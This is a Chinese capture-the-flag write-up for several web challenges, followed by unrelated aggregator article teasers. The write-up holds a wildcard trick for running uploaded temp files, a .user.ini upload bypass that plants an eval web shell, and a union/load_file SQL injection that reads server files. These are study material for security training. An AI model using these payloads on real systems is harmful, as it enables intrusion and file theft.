0X03

红包题第二弹

看到源码里面的提示

7216322e08f04ad2adc874d7ce8f88f2.png

 ?cmd=phpinfo();

 看到源码

de0ed5edfa3c47a5a16a3d398eb55591.png

 kk

关键点就是有两个正则表达式

第一个

preg_match("/[A-Za-oq-z0-9$]+/",$cmd)

第二个

preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)

从第一个发现小写字母p没有被过滤掉,同时也是做了许多的过滤

是无字母数字RCE,并且不能用取反,异或,自增去绕过

因为过滤了~^,异或和取反都不用考虑了

其他师傅的做法

利用上传的临时文件去命令执行getshell

基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件。

点就相当于source

用来执行文件。source /home/user/bash 等同于 . /home/user/bash

问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

临时文件目录

php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。

规则

默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
linux下:phpXXXXXX。

后面的就有点整不懂了

先放一放

web13

文件上传的窗口

先上传php文件看,出现报错

22f70b24af0e4fafb62d0ea9749bc6b8.png

访问upload.php

42540e0fb8934be397b9d0ab965044ef.png

是不是备份文件,这个备份文件是系统自己产生的

加上.bak,

<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>

 拓展名只能读取一个,且不能为php,文件的大小要小于24字节,不能有php

先传入.user.ini,进行写入

auto_prepend_file=1.txt

 也就是后面传入的文件会以php的形式打开

传入1.txt

<?= @eval($_POST[1]);?>

 5037331b3c5c491982d28e34ead4e1a0.png

连接显示返回数据为空

c1fdf95c1a1c417dbf9fdb69954ece1c.png

 

 j检查一下,是已经上传成功的

c982f834fbf543fb9b6cfd79b87a720c.png

 glob() 函数返回匹配指定模式的文件名或目录

用函数看看目录下有什么文件

?a=print_r(scandir('.'));

 或者

/?a=print_r(glob("*"));

 59077fde00b944b5a11ab3f45cd4bdca.png

 尝试读取

?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

 获取flag

web14

源代码直接显示

 <?php
include("secret.php");if(isset($_GET['c'])){$c = intval($_GET['c']);sleep($c);switch ($c) {case 1:echo '$url';break;case 2:echo '@A@';break;case 555555:echo $url;case 44444:echo "@A@";break;case 3333:echo $url;break;case 222:echo '@A@';break;case 222:echo '@A@';break;case 3333:echo $url;break;case 44444:echo '@A@';case 555555:echo $url;break;case 3:echo '@A@';case 6000000:echo "$url";case 1:echo '@A@';break;}
}highlight_file(__FILE__); 

 先可以尝试一下get

当我们输入c=3

ca2aea1f758a43348adafacf3e3f7752.png

刚开始的时候没有觉得什么奇怪的,后来想会不会是后面的文件路径

加上试一下

036d30afbabc4e2bb6c5d65a9bf0cf08.png

 4c85b5df1fd645b486855b287113922b.png

 看到新的登录框

在尝试一下admin的时候,发现URL里面出现一个新的参数query=admin

query=1和2还有3有回显加上字符就没有了,应该就是数字型注入了,并且过滤掉空格

刚刚里面出现过一文件secret.php

在index.php中包含了一个secret.php,先读这个文件试试

load_file函数可以轻松读取本地文件的全部或部分内容

eg:load_file('/home/user/test.txt');

?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")#

 54ca573e919149bbba7cf02ef2880cca.png

 可以看到flag实际上是在:/real_flag_is_here,所以读这个文件

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')

073848f07af9484088235f273653642a.png

 

 

 

 

 

 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/134811.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝绿部署:实现无缝可靠的软件发布

在快节奏的软件开发世界中&#xff0c;在不造成中断或停机的情况下向用户提供新功能和更新是一项至关重要的挑战。这就是蓝绿部署策略有用的地方。组织可以通过使用称为“蓝绿部署”的发布管理策略&#xff0c;以安全有效的方式推出其软件的新版本。在快节奏的软件开发世界中&a…

【独家揭秘】跨境电商源码独立开发,软著认证,前后端全开源,无加密,交付源码,商用无忧!

在这个数字化快速发展的时代&#xff0c;跨境电商已成为全球商业的重要趋势。为了帮助您快速进入这个潜力巨大的市场&#xff0c;我们独家推出了一款经过全面验证的跨境电商源码解决方案!这款源码具有独立开发、软著认证、前后端全开源、无加密等特点&#xff0c;为您的商业运营…

html中使用JQ自定义锚点偏移量

问题&#xff1a;一般情况下使用href跳转达到效果。如果页面中头部固定住了&#xff0c;点击瞄点的时候自动是最上面&#xff0c;头部会给它覆盖掉一部分&#xff0c;所以要在点击之后额外再加头部高度 <a href"#aa">Technical Documents</a><div id&…

批量迁移redis实例的key

我们知道migrate 命令可以迁移redis的多个key&#xff0c;但是如果redis的key有非常多&#xff0c;那用起来就很不方便了。 所以下面分享一个脚本来实现批量key的迁移&#xff0c;主要使用的命令为dump和restore 脚本如下&#xff1a; #!/bin/bash redis-cli -h host1 -p 63…

浅谈开源策略的实例:CGAL计算几何库

免责声明&#xff1a;本博客旨在分享我对开源策略的理解和体会&#xff0c;不代表任何组织或机构的立场或观点&#xff0c;也不构成任何商业或投资的建议或担保。本博客的内容可能存在错误或遗漏&#xff0c;也可能随着时间的推移而变得过时或不适用。请在使用或依赖本博客的内…

吴恩达《机器学习》6-1->6-3:分类问题、假设陈述、决策界限

一、什么是分类问题&#xff1f; 在分类问题中&#xff0c;我们试图预测的变量&#x1d466;是离散的值&#xff0c;通常表示某种类别或标签。这些类别可以是二元的&#xff0c;也可以是多元的。分类问题的示例包括&#xff1a; 判断一封电子邮件是否是垃圾邮件&#xff08;二…

Redis 多机方案

Redis 多机方案 Redis主从复制 Redis服务器角色可以分为主服务器和从服务器&#xff0c; 从服务器复制主服务。通过在指定服务器上执行SLAVEOF可以将服务器设置为目标服务器的从服务器&#xff0c; 目标服务器成为主服务器。 SLAVEOF 127.0.0.1 6379 同步实现 同步包括SLAV…

设计模式简要介绍

设计模式有很多&#xff0c;较为重要的如下 静态和单例模式 单例模式的本质就是类成员中有一个对象实例 public class Animal{public static string Title "Animal" // 类成员public string Name; // 对象成员public const float Pi 3.14f; // 类成员public rea…

C语言—窄字符或宽字符

#include<iostream> #include<Windows.h> #include<tchar.h>int main() {TCHAR destination[100];lstrcpy(destination, __T("你好"));_tprintf(__T("Copied string: %s\n"), destination); }/*在C/C中&#xff0c;__T(x) 格式通常用于实…

【系统集成项目管理工程师】——3.管理

主要掌握输入&#xff0c;输出内容先看他的过程域本身&#xff0c;过程域是什么输出就是什么 上一个过程域的输出是下一个过程域的输入 十大管理1432都有计划过程组&#xff0c;通常规划为首&#xff0c;控制为尾 规划阶段的万能输出是各子计划&#xff0c;即项目管理计划的…

【第2章 Node.js基础】2.1 JavaScript基本语法

文章目录 学习目标JavaScript版本与JavaScript运行环境JavaScript版本JavaScript运行环境 JavaScript语句与注释语句语句块注释 变量变量的命名变量的声明与赋值变量提升变量泄露全局作用域和函数作用域块级作用域与let关键字使用const关键字声明只读常量注意 数据类型数值&…

引用类型;强引用;软引用;弱引用和虚引用

概述 平时在编写代码的时候内存都是由jvm管理&#xff0c;对象的回收也是jvm在管理&#xff1b; 但是有些时候jvm无法回收对象&#xff0c;最后就会抛出oom异常. 那么那些回收不了的对象肯定有区别于能回收的对象&#xff1b; 先上一波引用类型介绍 强引用 比如平常我们直…

2023-11-06 monetdb-事务-insert-delta缓存-分析

摘要: monetdb在事务处理时, 会将数据写入delta缓存中, 然后在commit时将数据写入wal文件, 随后由控制器决定何时将wal中的数据真正的写入BAT列文件中. 本文从delta缓存入手, 分析monetdb在事务处理中的细节. SQL: DML: create table t1 (a int); 事务DDL: START TRANSACTI…

数据结构-Prim算法构造无向图的最小生成树

引子&#xff1a; 无向图如果是一个网&#xff0c;那么它的所有的生成树中必有一颗生成树的边的权值之和是最小的&#xff0c;我们称 这颗权值和最小的树为&#xff1a;“最小生成树”&#xff08;MST&#xff09;。 其中&#xff0c;一棵树的代价就是树中所有权值之和。 而…

外呼系统需要关注哪些功能?okcc呼叫中心ai智能语音

场景一&#xff1a; 当点击呼叫、一键拨号、预览外呼发起时&#xff0c;座席人员当前绑定的外呼设备&#xff1a;可能是手机、固话、软电话、WebRTC软电话、SIP话机等&#xff0c;首先振铃&#xff0c;同时外呼系统自动弹出外呼弹屏&#xff0c;展示被叫号码的详细信息&#x…

封装localstorage为对象 js

export const LocalStorageManager {recordKey: "Record",// 获取本地存储中的值get(key) {try {const value localStorage.getItem(key);if (value null || value undefined || value "") {return null;}return JSON.parse(localStorage.getItem(key…

Jest和Mocha两者之间有哪些区别?

什么是单元测试&#xff1f; 所谓单元测试&#xff0c;是对软件中单个功能组件进行测试的一种软件测试方式&#xff0c;其目的是确保代码中的每一个基本单元都能正常运行。因此&#xff0c;开发人员在应用程序开发的整个过程&#xff08;即代码编写过程&#xff09;中都需要进…

云原生周刊:Gateway API 1.0.0 发布 | 2023.11.6

开源项目推荐 Kueue Kueue 是一套用于作业队列的 API 和控制器。它是作业级管理器&#xff0c;可决定何时允许作业启动&#xff08;如创建 pod&#xff09;&#xff0c;何时停止作业&#xff08;如删除活动 pod&#xff09;。 Reloader 一个 Kubernetes 控制器&#xff0c;…

阿里云服务器登录、安装MySql、配置Python、GO环境

1、刚购买的云服务如何登录 刚购买的ECS没有默认密码&#xff0c;需要先设置一下登录的密码。选中实例&#xff0c;右上角的全部操作-->重置实例密码 如果想通过SSH登录&#xff0c;则一定要勾选开启 修改之后ssh root你机器的ip&#xff0c;输入密码就可以愉快的开始你的操…

如何安装Wnmp并结合内网穿透实现外网访问内网Wnmp服务

文章目录 前言1.Wnmp下载安装2.Wnmp设置3.安装cpolar内网穿透3.1 注册账号3.2 下载cpolar客户端3.3 登录cpolar web ui管理界面3.4 创建公网地址 4.固定公网地址访问 前言 WNMP是Windows系统下的绿色NginxMysqlPHP环境集成套件包&#xff0c;安装完成后即可得到一个Nginx MyS…